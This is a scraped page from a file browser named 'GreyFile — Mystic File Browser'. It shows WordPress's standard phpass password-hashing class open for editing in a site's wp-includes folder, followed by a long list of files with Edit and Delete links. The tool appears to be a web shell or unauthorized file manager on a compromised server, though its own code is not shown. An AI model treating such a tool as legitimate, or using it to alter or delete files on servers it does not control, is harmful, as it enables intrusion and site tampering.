?? GreyFile

?? GreyFile — Mystic File Browser

Current path: home/webdevt/www/demo2-old/wp-includes/

?? Editing: class-phpass.php

<?php
/**
 * Portable PHP password hashing framework.
 * @package phpass
 * @since 2.5.0
 * @version 0.5 / WordPress
 * @link https://www.openwall.com/phpass/
 */

#
# Portable PHP password hashing framework.
#
# Version 0.5 / WordPress.
#
# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
# the public domain.  Revised in subsequent years, still public domain.
#
# There's absolutely no warranty.
#
# The homepage URL for this framework is:
#
#	http://www.openwall.com/phpass/
#
# Please be sure to update the Version line if you edit this file in any way.
# It is suggested that you leave the main version number intact, but indicate
# your project name (after the slash) and add your own revision information.
#
# Please do not change the "private" password hashing method implemented in
# here, thereby making your hashes incompatible.  However, if you must, please
# change the hash type identifier (the "$P$") to something different.
#
# Obviously, since this code is in the public domain, the above are not
# requirements (there can be none), but merely suggestions.
#

/**
 * Portable PHP password hashing framework.
 *
 * @package phpass
 * @version 0.5 / WordPress
 * @link https://www.openwall.com/phpass/
 * @since 2.5.0
 */
class PasswordHash {
	var $itoa64;
	var $iteration_count_log2;
	var $portable_hashes;
	var $random_state;

function __construct($iteration_count_log2, $portable_hashes)
	{
		$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
			$iteration_count_log2 = 8;
		$this->iteration_count_log2 = $iteration_count_log2;

$this->portable_hashes = $portable_hashes;

$this->random_state = microtime();
		if (function_exists('getmypid'))
			$this->random_state .= getmypid();
	}

function PasswordHash($iteration_count_log2, $portable_hashes)
	{
		self::__construct($iteration_count_log2, $portable_hashes);
	}

function get_random_bytes($count)
	{
		$output = '';
		if (@is_readable('/dev/urandom') &&
		    ($fh = @fopen('/dev/urandom', 'rb'))) {
			$output = fread($fh, $count);
			fclose($fh);
		}

if (strlen($output) < $count) {
			$output = '';
			for ($i = 0; $i < $count; $i += 16) {
				$this->random_state =
				    md5(microtime() . $this->random_state);
				$output .= md5($this->random_state, TRUE);
			}
			$output = substr($output, 0, $count);
		}

return $output;
	}

function encode64($input, $count)
	{
		$output = '';
		$i = 0;
		do {
			$value = ord($input[$i++]);
			$output .= $this->itoa64[$value & 0x3f];
			if ($i < $count)
				$value |= ord($input[$i]) << 8;
			$output .= $this->itoa64[($value >> 6) & 0x3f];
			if ($i++ >= $count)
				break;
			if ($i < $count)
				$value |= ord($input[$i]) << 16;
			$output .= $this->itoa64[($value >> 12) & 0x3f];
			if ($i++ >= $count)
				break;
			$output .= $this->itoa64[($value >> 18) & 0x3f];
		} while ($i < $count);

return $output;
	}

function gensalt_private($input)
	{
		$output = '$P$';
		$output .= $this->itoa64[min($this->iteration_count_log2 +
			((PHP_VERSION >= '5') ? 5 : 3), 30)];
		$output .= $this->encode64($input, 6);

return $output;
	}

function crypt_private($password, $setting)
	{
		$output = '*0';
		if (substr($setting, 0, 2) === $output)
			$output = '*1';

$id = substr($setting, 0, 3);
		# We use "$P$", phpBB3 uses "$H$" for the same thing
		if ($id !== '$P$' && $id !== '$H$')
			return $output;

$count_log2 = strpos($this->itoa64, $setting[3]);
		if ($count_log2 < 7 || $count_log2 > 30)
			return $output;

$count = 1 << $count_log2;

$salt = substr($setting, 4, 8);
		if (strlen($salt) !== 8)
			return $output;

# We were kind of forced to use MD5 here since it's the only
		# cryptographic primitive that was available in all versions
		# of PHP in use.  To implement our own low-level crypto in PHP
		# would have resulted in much worse performance and
		# consequently in lower iteration counts and hashes that are
		# quicker to crack (by non-PHP code).
		$hash = md5($salt . $password, TRUE);
		do {
			$hash = md5($hash . $password, TRUE);
		} while (--$count);

$output = substr($setting, 0, 12);
		$output .= $this->encode64($hash, 16);

return $output;
	}

function gensalt_blowfish($input)
	{
		# This one needs to use a different order of characters and a
		# different encoding scheme from the one in encode64() above.
		# We care because the last character in our encoded string will
		# only represent 2 bits.  While two known implementations of
		# bcrypt will happily accept and correct a salt string which
		# has the 4 unused bits set to non-zero, we do not want to take
		# chances and we also do not want to waste an additional byte
		# of entropy.
		$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

$output = '$2a$';
		$output .= chr((int)(ord('0') + $this->iteration_count_log2 / 10));
		$output .= chr((ord('0') + $this->iteration_count_log2 % 10));
		$output .= '$';

$i = 0;
		do {
			$c1 = ord($input[$i++]);
			$output .= $itoa64[$c1 >> 2];
			$c1 = ($c1 & 0x03) << 4;
			if ($i >= 16) {
				$output .= $itoa64[$c1];
				break;
			}

$c2 = ord($input[$i++]);
			$c1 |= $c2 >> 4;
			$output .= $itoa64[$c1];
			$c1 = ($c2 & 0x0f) << 2;

$c2 = ord($input[$i++]);
			$c1 |= $c2 >> 6;
			$output .= $itoa64[$c1];
			$output .= $itoa64[$c2 & 0x3f];
		} while (1);

return $output;
	}

function HashPassword($password)
	{
		if ( strlen( $password ) > 4096 ) {
			return '*';
		}

$random = '';

if (CRYPT_BLOWFISH === 1 && !$this->portable_hashes) {
			$random = $this->get_random_bytes(16);
			$hash =
			    crypt($password, $this->gensalt_blowfish($random));
			if (strlen($hash) === 60)
				return $hash;
		}

if (strlen($random) < 6)
			$random = $this->get_random_bytes(6);
		$hash =
		    $this->crypt_private($password,
		    $this->gensalt_private($random));
		if (strlen($hash) === 34)
			return $hash;

# Returning '*' on error is safe here, but would _not_ be safe
		# in a crypt(3)-like function used _both_ for generating new
		# hashes and for validating passwords against existing hashes.
		return '*';
	}

function CheckPassword($password, $stored_hash)
	{
		if ( strlen( $password ) > 4096 ) {
			return false;
		}

$hash = $this->crypt_private($password, $stored_hash);
		if ($hash[0] === '*')
			$hash = crypt($password, $stored_hash);

# This is not constant-time.  In order to keep the code simple,
		# for timing safety we currently rely on the salts being
		# unpredictable, which they are at least in the non-fallback
		# cases (that is, when we use /dev/urandom and bcrypt).
		return $hash === $stored_hash;
	}
}

?? assets | ??? Delete
?? block-bindings | ??? Delete
?? block-patterns | ??? Delete
?? block-supports | ??? Delete
?? blocks | ??? Delete
?? certificates | ??? Delete
?? css | ??? Delete
?? customize | ??? Delete
?? fonts | ??? Delete
?? html-api | ??? Delete
?? ID3 | ??? Delete
?? images | ??? Delete
?? interactivity-api | ??? Delete
?? IXR | ??? Delete
?? js | ??? Delete
?? l10n | ??? Delete
?? php-compat | ??? Delete
?? PHPMailer | ??? Delete
?? pomo | ??? Delete
?? Requests | ??? Delete
?? rest-api | ??? Delete
?? SimplePie | ??? Delete
?? sitemaps | ??? Delete
?? sodium_compat | ??? Delete
?? style-engine | ??? Delete
?? Text | ??? Delete
?? theme-compat | ??? Delete
?? widgets | ??? Delete
?? admin-bar.php | ?? Edit | ??? Delete
?? atomlib.php | ?? Edit | ??? Delete
?? author-template.php | ?? Edit | ??? Delete
?? block-bindings.php | ?? Edit | ??? Delete
?? block-editor.php | ?? Edit | ??? Delete
?? block-i18n.json | ?? Edit | ??? Delete
?? block-patterns.php | ?? Edit | ??? Delete
?? block-template-utils.php | ?? Edit | ??? Delete
?? block-template.php | ?? Edit | ??? Delete
?? blocks.php | ?? Edit | ??? Delete
?? bookmark-template.php | ?? Edit | ??? Delete
?? bookmark.php | ?? Edit | ??? Delete
?? cache-compat.php | ?? Edit | ??? Delete
?? cache.php | ?? Edit | ??? Delete
?? canonical.php | ?? Edit | ??? Delete
?? capabilities.php | ?? Edit | ??? Delete
?? category-template.php | ?? Edit | ??? Delete
?? category.php | ?? Edit | ??? Delete
?? class-avif-info.php | ?? Edit | ??? Delete
?? class-feed.php | ?? Edit | ??? Delete
?? class-http.php | ?? Edit | ??? Delete
?? class-IXR.php | ?? Edit | ??? Delete
?? class-json.php | ?? Edit | ??? Delete
?? class-oembed.php | ?? Edit | ??? Delete
?? class-phpass.php | ?? Edit | ??? Delete
?? class-phpmailer.php | ?? Edit | ??? Delete
?? class-pop3.php | ?? Edit | ??? Delete
?? class-requests.php | ?? Edit | ??? Delete
?? class-simplepie.php | ?? Edit | ??? Delete
?? class-smtp.php | ?? Edit | ??? Delete
?? class-snoopy.php | ?? Edit | ??? Delete
?? class-walker-category-dropdown.php | ?? Edit | ??? Delete
?? class-walker-category.php | ?? Edit | ??? Delete
?? class-walker-comment.php | ?? Edit | ??? Delete
?? class-walker-nav-menu.php | ?? Edit | ??? Delete
?? class-walker-page-dropdown.php | ?? Edit | ??? Delete
?? class-walker-page.php | ?? Edit | ??? Delete
?? class-wp-admin-bar.php | ?? Edit | ??? Delete
?? class-wp-ajax-response.php | ?? Edit | ??? Delete
?? class-wp-application-passwords.php | ?? Edit | ??? Delete
?? class-wp-block-bindings-registry.php | ?? Edit | ??? Delete
?? class-wp-block-bindings-source.php | ?? Edit | ??? Delete
?? class-wp-block-editor-context.php | ?? Edit | ??? Delete
?? class-wp-block-list.php | ?? Edit | ??? Delete
?? class-wp-block-parser-block.php | ?? Edit | ??? Delete
?? class-wp-block-parser-frame.php | ?? Edit | ??? Delete
?? class-wp-block-parser.php | ?? Edit | ??? Delete
?? class-wp-block-pattern-categories-registry.php | ?? Edit | ??? Delete
?? class-wp-block-patterns-registry.php | ?? Edit | ??? Delete
?? class-wp-block-styles-registry.php | ?? Edit | ??? Delete
?? class-wp-block-supports.php | ?? Edit | ??? Delete
?? class-wp-block-template.php | ?? Edit | ??? Delete
?? class-wp-block-type-registry.php | ?? Edit | ??? Delete
?? class-wp-block-type.php | ?? Edit | ??? Delete
?? class-wp-block.php | ?? Edit | ??? Delete
?? class-wp-classic-to-block-menu-converter.php | ?? Edit | ??? Delete
?? class-wp-comment-query.php | ?? Edit | ??? Delete
?? class-wp-comment.php | ?? Edit | ??? Delete
?? class-wp-customize-control.php | ?? Edit | ??? Delete
?? class-wp-customize-manager.php | ?? Edit | ??? Delete
?? class-wp-customize-nav-menus.php | ?? Edit | ??? Delete
?? class-wp-customize-panel.php | ?? Edit | ??? Delete
?? class-wp-customize-section.php | ?? Edit | ??? Delete
?? class-wp-customize-setting.php | ?? Edit | ??? Delete
?? class-wp-customize-widgets.php | ?? Edit | ??? Delete
?? class-wp-date-query.php | ?? Edit | ??? Delete
?? class-wp-dependencies.php | ?? Edit | ??? Delete
?? class-wp-dependency.php | ?? Edit | ??? Delete
?? class-wp-duotone.php | ?? Edit | ??? Delete
?? class-wp-editor.php | ?? Edit | ??? Delete
?? class-wp-embed.php | ?? Edit | ??? Delete
?? class-wp-error.php | ?? Edit | ??? Delete
?? class-wp-fatal-error-handler.php | ?? Edit | ??? Delete
?? class-wp-feed-cache-transient.php | ?? Edit | ??? Delete
?? class-wp-feed-cache.php | ?? Edit | ??? Delete
?? class-wp-hook.php | ?? Edit | ??? Delete
?? class-wp-http-cookie.php | ?? Edit | ??? Delete
?? class-wp-http-curl.php | ?? Edit | ??? Delete
?? class-wp-http-encoding.php | ?? Edit | ??? Delete
?? class-wp-http-ixr-client.php | ?? Edit | ??? Delete
?? class-wp-http-proxy.php | ?? Edit | ??? Delete
?? class-wp-http-requests-hooks.php | ?? Edit | ??? Delete
?? class-wp-http-requests-response.php | ?? Edit | ??? Delete
?? class-wp-http-response.php | ?? Edit | ??? Delete
?? class-wp-http-streams.php | ?? Edit | ??? Delete
?? class-wp-http.php | ?? Edit | ??? Delete
?? class-wp-image-editor-gd.php | ?? Edit | ??? Delete
?? class-wp-image-editor-imagick.php | ?? Edit | ??? Delete
?? class-wp-image-editor.php | ?? Edit | ??? Delete
?? class-wp-list-util.php | ?? Edit | ??? Delete
?? class-wp-locale-switcher.php | ?? Edit | ??? Delete
?? class-wp-locale.php | ?? Edit | ??? Delete
?? class-wp-matchesmapregex.php | ?? Edit | ??? Delete
?? class-wp-meta-query.php | ?? Edit | ??? Delete
?? class-wp-metadata-lazyloader.php | ?? Edit | ??? Delete
?? class-wp-navigation-fallback.php | ?? Edit | ??? Delete
?? class-wp-network-query.php | ?? Edit | ??? Delete
?? class-wp-network.php | ?? Edit | ??? Delete
?? class-wp-object-cache.php | ?? Edit | ??? Delete
?? class-wp-oembed-controller.php | ?? Edit | ??? Delete
?? class-wp-oembed.php | ?? Edit | ??? Delete
?? class-wp-paused-extensions-storage.php | ?? Edit | ??? Delete
?? class-wp-plugin-dependencies.php | ?? Edit | ??? Delete
?? class-wp-post-type.php | ?? Edit | ??? Delete
?? class-wp-post.php | ?? Edit | ??? Delete
?? class-wp-query.php | ?? Edit | ??? Delete
?? class-wp-recovery-mode-cookie-service.php | ?? Edit | ??? Delete
?? class-wp-recovery-mode-email-service.php | ?? Edit | ??? Delete
?? class-wp-recovery-mode-key-service.php | ?? Edit | ??? Delete
?? class-wp-recovery-mode-link-service.php | ?? Edit | ??? Delete
?? class-wp-recovery-mode.php | ?? Edit | ??? Delete
?? class-wp-rewrite.php | ?? Edit | ??? Delete
?? class-wp-role.php | ?? Edit | ??? Delete
?? class-wp-roles.php | ?? Edit | ??? Delete
?? class-wp-script-modules.php | ?? Edit | ??? Delete
?? class-wp-scripts.php | ?? Edit | ??? Delete
?? class-wp-session-tokens.php | ?? Edit | ??? Delete
?? class-wp-simplepie-file.php | ?? Edit | ??? Delete
?? class-wp-simplepie-sanitize-kses.php | ?? Edit | ??? Delete
?? class-wp-site-query.php | ?? Edit | ??? Delete
?? class-wp-site.php | ?? Edit | ??? Delete
?? class-wp-styles.php | ?? Edit | ??? Delete
?? class-wp-tax-query.php | ?? Edit | ??? Delete
?? class-wp-taxonomy.php | ?? Edit | ??? Delete
?? class-wp-term-query.php | ?? Edit | ??? Delete
?? class-wp-term.php | ?? Edit | ??? Delete
?? class-wp-text-diff-renderer-inline.php | ?? Edit | ??? Delete
?? class-wp-text-diff-renderer-table.php | ?? Edit | ??? Delete
?? class-wp-textdomain-registry.php | ?? Edit | ??? Delete
?? class-wp-theme-json-data.php | ?? Edit | ??? Delete
?? class-wp-theme-json-resolver.php | ?? Edit | ??? Delete
?? class-wp-theme-json-schema.php | ?? Edit | ??? Delete
?? class-wp-theme-json.php | ?? Edit | ??? Delete
?? class-wp-theme.php | ?? Edit | ??? Delete
?? class-wp-user-meta-session-tokens.php | ?? Edit | ??? Delete
?? class-wp-user-query.php | ?? Edit | ??? Delete
?? class-wp-user-request.php | ?? Edit | ??? Delete
?? class-wp-user.php | ?? Edit | ??? Delete
?? class-wp-walker.php | ?? Edit | ??? Delete
?? class-wp-widget-factory.php | ?? Edit | ??? Delete
?? class-wp-widget.php | ?? Edit | ??? Delete
?? class-wp-xmlrpc-server.php | ?? Edit | ??? Delete
?? class-wp.php | ?? Edit | ??? Delete
?? class-wpdb.php | ?? Edit | ??? Delete
?? class.wp-dependencies.php | ?? Edit | ??? Delete
?? class.wp-scripts.php | ?? Edit | ??? Delete
?? class.wp-styles.php | ?? Edit | ??? Delete
?? comment-template.php | ?? Edit | ??? Delete
?? comment.php | ?? Edit | ??? Delete
?? compat.php | ?? Edit | ??? Delete
?? cron.php | ?? Edit | ??? Delete
?? date.php | ?? Edit | ??? Delete
?? default-constants.php | ?? Edit | ??? Delete
?? default-filters.php | ?? Edit | ??? Delete
?? default-widgets.php | ?? Edit | ??? Delete
?? deprecated.php | ?? Edit | ??? Delete
?? embed-template.php | ?? Edit | ??? Delete
?? embed.php | ?? Edit | ??? Delete
?? error-protection.php | ?? Edit | ??? Delete
?? feed-atom-comments.php | ?? Edit | ??? Delete
?? feed-atom.php | ?? Edit | ??? Delete
?? feed-rdf.php | ?? Edit | ??? Delete
?? feed-rss.php | ?? Edit | ??? Delete
?? feed-rss2-comments.php | ?? Edit | ??? Delete
?? feed-rss2.php | ?? Edit | ??? Delete
?? feed.php | ?? Edit | ??? Delete
?? fonts.php | ?? Edit | ??? Delete
?? formatting.php | ?? Edit | ??? Delete
?? functions.php | ?? Edit | ??? Delete
?? functions.wp-scripts.php | ?? Edit | ??? Delete
?? functions.wp-styles.php | ?? Edit | ??? Delete
?? general-template.php | ?? Edit | ??? Delete
?? global-styles-and-settings.php | ?? Edit | ??? Delete
?? http.php | ?? Edit | ??? Delete
?? https-detection.php | ?? Edit | ??? Delete
?? https-migration.php | ?? Edit | ??? Delete
?? kses.php | ?? Edit | ??? Delete
?? l10n.php | ?? Edit | ??? Delete
?? link-template.php | ?? Edit | ??? Delete
?? load.php | ?? Edit | ??? Delete
?? locale.php | ?? Edit | ??? Delete
?? media-template.php | ?? Edit | ??? Delete
?? media.php | ?? Edit | ??? Delete
?? meta.php | ?? Edit | ??? Delete
?? ms-blogs.php | ?? Edit | ??? Delete
?? ms-default-constants.php | ?? Edit | ??? Delete
?? ms-default-filters.php | ?? Edit | ??? Delete
?? ms-deprecated.php | ?? Edit | ??? Delete
?? ms-files.php | ?? Edit | ??? Delete
?? ms-functions.php | ?? Edit | ??? Delete
?? ms-load.php | ?? Edit | ??? Delete
?? ms-network.php | ?? Edit | ??? Delete
?? ms-settings.php | ?? Edit | ??? Delete
?? ms-site.php | ?? Edit | ??? Delete
?? nav-menu-template.php | ?? Edit | ??? Delete
?? nav-menu.php | ?? Edit | ??? Delete
?? option.php | ?? Edit | ??? Delete
?? pluggable-deprecated.php | ?? Edit | ??? Delete
?? pluggable.php | ?? Edit | ??? Delete
?? plugin.php | ?? Edit | ??? Delete
?? post-formats.php | ?? Edit | ??? Delete
?? post-template.php | ?? Edit | ??? Delete
?? post-thumbnail-template.php | ?? Edit | ??? Delete
?? post.php | ?? Edit | ??? Delete
?? query.php | ?? Edit | ??? Delete
?? registration-functions.php | ?? Edit | ??? Delete
?? registration.php | ?? Edit | ??? Delete
?? rest-api.php | ?? Edit | ??? Delete
?? revision.php | ?? Edit | ??? Delete
?? rewrite.php | ?? Edit | ??? Delete
?? robots-template.php | ?? Edit | ??? Delete
?? rss-functions.php | ?? Edit | ??? Delete
?? rss.php | ?? Edit | ??? Delete
?? script-loader.php | ?? Edit | ??? Delete
?? script-modules.php | ?? Edit | ??? Delete
?? session.php | ?? Edit | ??? Delete
?? shortcodes.php | ?? Edit | ??? Delete
?? sitemaps.php | ?? Edit | ??? Delete
?? spl-autoload-compat.php | ?? Edit | ??? Delete
?? style-engine.php | ?? Edit | ??? Delete
?? taxonomy.php | ?? Edit | ??? Delete
?? template-canvas.php | ?? Edit | ??? Delete
?? template-loader.php | ?? Edit | ??? Delete
?? template.php | ?? Edit | ??? Delete
?? theme-i18n.json | ?? Edit | ??? Delete
?? theme-previews.php | ?? Edit | ??? Delete
?? theme-templates.php | ?? Edit | ??? Delete
?? theme.json | ?? Edit | ??? Delete
?? theme.php | ?? Edit | ??? Delete
?? update.php | ?? Edit | ??? Delete
?? user.php | ?? Edit | ??? Delete
?? vars.php | ?? Edit | ??? Delete
?? version.php | ?? Edit | ??? Delete
?? widgets.php | ?? Edit | ??? Delete
?? wp-db.php | ?? Edit | ??? Delete
?? wp-diff.php | ?? Edit | ??? Delete